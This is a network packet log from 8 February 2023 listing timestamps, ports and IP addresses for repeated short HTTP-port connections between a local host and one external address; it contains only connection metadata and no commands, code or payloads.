Feb 8, 2023 21:33:45.561683893 CET	50210	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:45.562427998 CET	50211	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:45.624238968 CET	80	50210	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:45.624711990 CET	80	50211	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:45.624861956 CET	50210	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:45.624919891 CET	50211	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:45.625368118 CET	50211	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:45.687832117 CET	80	50211	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:45.692518950 CET	80	50211	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:45.692621946 CET	50211	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:45.796329975 CET	50211	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:45.797408104 CET	50212	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:45.859184980 CET	80	50211	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:45.859460115 CET	50211	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:45.861288071 CET	80	50212	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:45.861526966 CET	50212	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:45.861932039 CET	50212	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:45.927354097 CET	80	50212	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:45.931252003 CET	80	50212	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:45.931524038 CET	50212	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:46.049149036 CET	50212	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:46.050256968 CET	50213	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:46.111834049 CET	80	50213	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:46.111888885 CET	80	50212	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:46.112107992 CET	50212	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:46.112252951 CET	50213	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:46.112683058 CET	50213	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:46.174072027 CET	80	50213	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:46.178411007 CET	80	50213	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:46.178582907 CET	50213	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:46.296539068 CET	50213	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:46.297379971 CET	50214	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:46.358169079 CET	80	50213	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:46.358354092 CET	50213	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:46.358743906 CET	80	50214	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:46.358843088 CET	50214	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:46.359244108 CET	50214	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:46.420634031 CET	80	50214	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:46.424200058 CET	80	50214	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:46.424392939 CET	50214	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:46.530375004 CET	50214	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:46.532489061 CET	50215	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:46.605417967 CET	80	50214	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:46.605492115 CET	80	50215	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:46.605671883 CET	50214	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:46.605704069 CET	50215	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:46.606174946 CET	50215	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:46.666682959 CET	80	50215	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:46.670124054 CET	80	50215	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:46.670337915 CET	50215	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:46.799206018 CET	50215	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:46.800472021 CET	50216	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:46.859997988 CET	80	50215	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:46.860166073 CET	50215	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:46.861915112 CET	80	50216	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:46.862092018 CET	50216	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:46.862529039 CET	50216	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:46.923801899 CET	80	50216	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:46.927639008 CET	80	50216	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:46.927774906 CET	50216	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:47.038530111 CET	50216	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:47.039455891 CET	50217	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:47.099963903 CET	80	50216	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:47.100091934 CET	50216	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:47.100653887 CET	80	50217	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:47.100754976 CET	50217	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:47.101357937 CET	50217	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:47.162729025 CET	80	50217	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:47.167072058 CET	80	50217	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:47.167273045 CET	50217	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:47.280378103 CET	50217	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:47.281146049 CET	50218	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:47.344429970 CET	80	50217	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:47.344532013 CET	50217	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:47.346967936 CET	80	50218	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:47.347099066 CET	50218	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:47.347487926 CET	50218	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:47.410065889 CET	80	50218	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:47.412645102 CET	80	50218	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:47.412739992 CET	50218	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:47.530461073 CET	50218	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:47.531497002 CET	50219	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:47.592468977 CET	80	50218	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:47.592636108 CET	50218	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:47.594198942 CET	80	50219	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:47.594399929 CET	50219	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:47.609047890 CET	50219	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:47.671845913 CET	80	50219	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:47.675343037 CET	80	50219	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:47.675463915 CET	50219	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:47.784709930 CET	50219	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:47.793778896 CET	50220	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:47.847433090 CET	80	50219	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:47.847667933 CET	50219	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:47.855104923 CET	80	50220	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:47.855336905 CET	50220	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:47.855829000 CET	50220	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:47.917074919 CET	80	50220	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:47.920484066 CET	80	50220	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:47.920646906 CET	50220	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:48.030051947 CET	50220	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:48.031088114 CET	50221	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:48.090717077 CET	80	50221	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:48.091355085 CET	80	50220	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:48.091675043 CET	50220	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:48.092367887 CET	50221	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:48.092669010 CET	50221	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:48.152244091 CET	80	50221	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:48.156487942 CET	80	50221	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:48.160464048 CET	50221	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:48.264384031 CET	50221	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:48.265074015 CET	50222	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:48.324217081 CET	80	50221	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:48.324259996 CET	80	50222	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:48.324496031 CET	50222	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:48.324496984 CET	50221	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:48.324981928 CET	50222	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:48.384222031 CET	80	50222	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:48.386904955 CET	80	50222	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:48.388550997 CET	50222	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:48.499473095 CET	50222	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:48.500927925 CET	50223	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:48.558790922 CET	80	50222	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:48.560281038 CET	80	50223	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:48.560441971 CET	50222	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:48.560477972 CET	50223	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:48.562670946 CET	50223	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:48.622147083 CET	80	50223	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:48.625063896 CET	80	50223	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:48.625318050 CET	50223	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:48.733261108 CET	50223	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:48.735527992 CET	50224	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:48.792877913 CET	80	50223	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:48.793096066 CET	50223	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:48.798002958 CET	80	50224	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:48.798269987 CET	50224	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:48.800409079 CET	50224	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:48.863306046 CET	80	50224	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:48.866019011 CET	80	50224	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:48.866277933 CET	50224	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:48.984066010 CET	50224	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:48.985028982 CET	50225	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:49.049532890 CET	80	50225	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:49.049592018 CET	80	50224	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:49.049889088 CET	50224	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:49.051203012 CET	50225	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:49.051203012 CET	50225	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:49.111726046 CET	80	50225	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:49.116024971 CET	80	50225	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:49.116224051 CET	50225	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:49.233971119 CET	50225	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:49.234946966 CET	50226	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:49.295495987 CET	80	50225	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:49.295663118 CET	50225	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:49.296876907 CET	80	50226	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:49.297041893 CET	50226	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:49.297652006 CET	50226	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:49.359010935 CET	80	50226	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:49.361480951 CET	80	50226	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:49.361639023 CET	50226	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:49.468286991 CET	50226	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:49.468945026 CET	50227	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:49.528635979 CET	80	50227	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:49.528898954 CET	50227	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:49.529572010 CET	80	50226	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:49.529690981 CET	50226	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:49.587647915 CET	50227	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:49.647356033 CET	80	50227	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:49.650621891 CET	80	50227	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:49.650820017 CET	50227	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:49.908212900 CET	50227	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:49.909143925 CET	50228	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:49.968060970 CET	80	50227	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:49.968199968 CET	50227	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:49.971683979 CET	80	50228	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:49.971784115 CET	50228	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:49.973795891 CET	50228	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:50.036477089 CET	80	50228	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:50.039262056 CET	80	50228	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:50.039577961 CET	50228	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:50.185666084 CET	50228	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:50.186604977 CET	50229	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:50.246390104 CET	80	50229	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:50.246623993 CET	50229	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:50.248307943 CET	80	50228	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:50.248446941 CET	50228	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:50.275674105 CET	50229	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:50.335510969 CET	80	50229	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:50.339781046 CET	80	50229	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:50.339919090 CET	50229	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:50.533449888 CET	50229	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:50.534224033 CET	50230	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:50.593317032 CET	80	50229	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:50.593492985 CET	50229	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:50.594686985 CET	80	50230	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:50.594871998 CET	50230	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:51.181015968 CET	50230	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:51.241770029 CET	80	50230	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:51.248961926 CET	80	50230	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:51.249260902 CET	50230	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:51.384208918 CET	50230	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:51.384942055 CET	50231	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:51.445034027 CET	80	50230	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:51.445292950 CET	80	50231	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:51.445312023 CET	50230	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:51.445415020 CET	50231	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:51.521867037 CET	50231	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:51.583875895 CET	80	50231	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:51.585773945 CET	80	50231	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:51.585933924 CET	50231	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:51.743583918 CET	50231	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:51.745716095 CET	50232	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:51.804152012 CET	80	50231	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:51.804353952 CET	50231	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:51.805988073 CET	80	50232	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:51.806210041 CET	50232	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:53.216896057 CET	50232	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:53.278604984 CET	80	50232	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:53.281989098 CET	80	50232	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:53.282200098 CET	50232	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:53.407917976 CET	50232	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:53.412348032 CET	50233	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:53.470617056 CET	80	50232	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:53.470787048 CET	50232	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:53.475043058 CET	80	50233	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:53.475193024 CET	50233	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:53.481596947 CET	50233	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:53.544265985 CET	80	50233	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:53.546242952 CET	80	50233	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:53.546394110 CET	50233	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:53.656917095 CET	50233	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:53.657898903 CET	50234	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:53.719542980 CET	80	50234	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:53.719595909 CET	80	50233	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:53.719777107 CET	50233	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:53.720145941 CET	50234	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:53.720356941 CET	50234	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:53.782257080 CET	80	50234	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:53.786386013 CET	80	50234	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:53.786525011 CET	50234	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:53.894905090 CET	50234	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:53.895888090 CET	50235	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:53.956605911 CET	80	50234	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:53.956756115 CET	50234	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:53.957175970 CET	80	50235	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:53.957331896 CET	50235	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:53.957839966 CET	50235	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:54.019049883 CET	80	50235	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:54.021266937 CET	80	50235	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:54.021353006 CET	50235	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:54.129395962 CET	50235	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:54.130486965 CET	50236	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:54.214972973 CET	80	50235	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:54.215004921 CET	80	50236	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:54.215167046 CET	50235	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:54.215292931 CET	50236	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:54.215832949 CET	50236	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:54.278297901 CET	80	50236	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:54.281761885 CET	80	50236	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:54.281881094 CET	50236	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:54.391247988 CET	50236	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:54.391946077 CET	50237	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:54.453897953 CET	80	50236	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:54.454057932 CET	50236	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:54.454461098 CET	80	50237	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:54.454699039 CET	50237	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:54.456114054 CET	50237	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:54.518882990 CET	80	50237	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:54.520998955 CET	80	50237	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:54.521121979 CET	50237	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:54.624588013 CET	50237	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:54.628052950 CET	50238	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:54.687498093 CET	80	50237	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:54.687684059 CET	50237	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:54.689750910 CET	80	50238	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:54.689932108 CET	50238	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:54.690315008 CET	50238	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:54.751948118 CET	80	50238	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:54.753885984 CET	80	50238	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:54.754091978 CET	50238	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:54.860594034 CET	50238	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:54.861624002 CET	50239	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:54.922138929 CET	80	50239	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:54.922174931 CET	80	50238	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:54.922368050 CET	50238	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:54.922385931 CET	50239	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:54.923460960 CET	50239	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:54.984146118 CET	80	50239	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:54.986309052 CET	80	50239	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:54.986511946 CET	50239	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:55.093508959 CET	50239	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:55.094563961 CET	50240	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:55.154367924 CET	80	50239	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:55.154594898 CET	50239	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:55.156053066 CET	80	50240	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:55.156364918 CET	50240	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:55.156611919 CET	50240	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:55.218105078 CET	80	50240	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:55.221343040 CET	80	50240	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:55.221530914 CET	50240	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:55.328331947 CET	50240	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:55.331825018 CET	50241	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:55.389942884 CET	80	50240	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:55.390095949 CET	50240	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:55.393636942 CET	80	50241	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:55.393759012 CET	50241	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:55.394284010 CET	50241	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:55.456011057 CET	80	50241	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:55.458506107 CET	80	50241	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:55.458662987 CET	50241	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:55.571197987 CET	50241	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:55.574465990 CET	50242	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:55.634746075 CET	80	50241	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:55.634954929 CET	50241	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:55.636811972 CET	80	50242	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:55.637206078 CET	50242	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:55.637495041 CET	50242	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:55.697953939 CET	80	50242	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:55.700236082 CET	80	50242	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:55.700411081 CET	50242	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:55.819758892 CET	50242	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:55.820408106 CET	50243	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:55.880290985 CET	80	50242	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:55.880467892 CET	50242	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:55.882813931 CET	80	50243	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:55.882986069 CET	50243	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:55.883469105 CET	50243	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:55.945799112 CET	80	50243	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:55.948122025 CET	80	50243	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:55.948365927 CET	50243	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:56.062452078 CET	50243	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:56.063466072 CET	50244	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:56.124161005 CET	80	50244	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:56.124371052 CET	50244	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:56.124936104 CET	50244	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:56.125200987 CET	80	50243	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:56.125269890 CET	50243	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:56.185467005 CET	80	50244	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:56.189805984 CET	80	50244	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:56.190022945 CET	50244	80	192.168.2.3	62.204.41.4
